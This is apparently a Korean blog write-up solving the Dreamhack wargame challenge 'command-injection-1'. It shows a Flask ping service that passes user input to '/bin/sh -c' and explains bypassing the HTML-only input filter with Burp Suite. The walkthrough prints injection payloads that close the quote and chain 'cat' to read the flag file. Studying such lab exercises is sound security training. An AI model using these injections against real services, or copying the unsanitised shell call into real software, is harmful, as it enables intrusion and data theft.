상세 컨텐츠

본문 제목

[Dreamhack] command-injection-1

WEB HACKING/Dreamhack

by koharin 2022. 1. 3. 23:13

본문

728x90
반응형
<form method="POST">
  <div class="row">
    <div class="col-md-6 form-group">
      <label for="Host">Host</label>
      <input type="text" class="form-control" id="Host" placeholder="8.8.8.8" name="host" pattern="[A-Za-z0-9.]{5,20}" required>
    </div>
  </div>

  <button type="submit" class="btn btn-default">Ping!</button>
</form>

입력 시 특수문자를 사용할 수 없고, 길이는 5-20으로 제한되어 있다.

 

#!/usr/bin/env python3
import subprocess

from flask import Flask, request, render_template, redirect

from flag import FLAG

APP = Flask(__name__)


@APP.route('/')
def index():
    return render_template('index.html')


@APP.route('/ping', methods=['GET', 'POST'])
def ping():
    if request.method == 'POST':
        host = request.form.get('host')
        cmd = f'ping -c 3 "{host}"'
        try:
            output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
            return render_template('ping_result.html', data=output.decode('utf-8'))
        except subprocess.TimeoutExpired:
            return render_template('ping_result.html', data='Timeout !')
        except subprocess.CalledProcessError:
            return render_template('ping_result.html', data=f'an error occurred while executing the command. -> {cmd}')

    return render_template('ping.html')


if __name__ == '__main__':
    APP.run(host='0.0.0.0', port=8000)

제공된 app.py 코드를 확인해보면 /bin/sh -c cmd로 명령어를 실행하는데, cmd에 사용자값인 host가 들어간다.

특수문자 사용이 불가능하지만, html 상으로 제약사항이므로 먼저 8.8.8.8을 보낸 후, proxy 툴로 잡아서 host 변수 값을 & ls 등으로 바꿔서 command injection이 가능하다.

 

Burp Suite Open browser에서 8.8.8.8 값을 주고 Ping! 버튼을 눌러 POST 요청을 보낸다.

 

POST /ping HTTP/1.1
Host: host1.dreamhack.games:24195
Content-Length: 12
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://host1.dreamhack.games:24195
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://host1.dreamhack.games:24195/ping
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

host=8.8.8.8

그럼 이렇게 request가 잡히고, host 값을 변경할 수 있다.

 

host 값을 & cat flag.py로 변경 후 Forward를 눌러서 요청을 보낸다.

 

근데 에러가 발생한다. double quote escape이 필요해보인다.

 

host 값을 8.8.8.8"; cat flag;py; echo "asdf 으로 변경한다.

 

명령어 실행 결과로 FLAG를 얻을 수 있다.

728x90
반응형

'WEB HACKING > Dreamhack' 카테고리의 다른 글

[Dreamhack] file-download-1  (0) 2022.11.24
[Dreamhack] proxy-1  (0) 2022.01.04
[Dreamhack] pathtraversal  (0) 2021.03.08
[Dreamhack] simple_sqli (SQL Injection)  (0) 2021.02.09
[Dreamhack] cookie  (0) 2021.02.09

관련글 더보기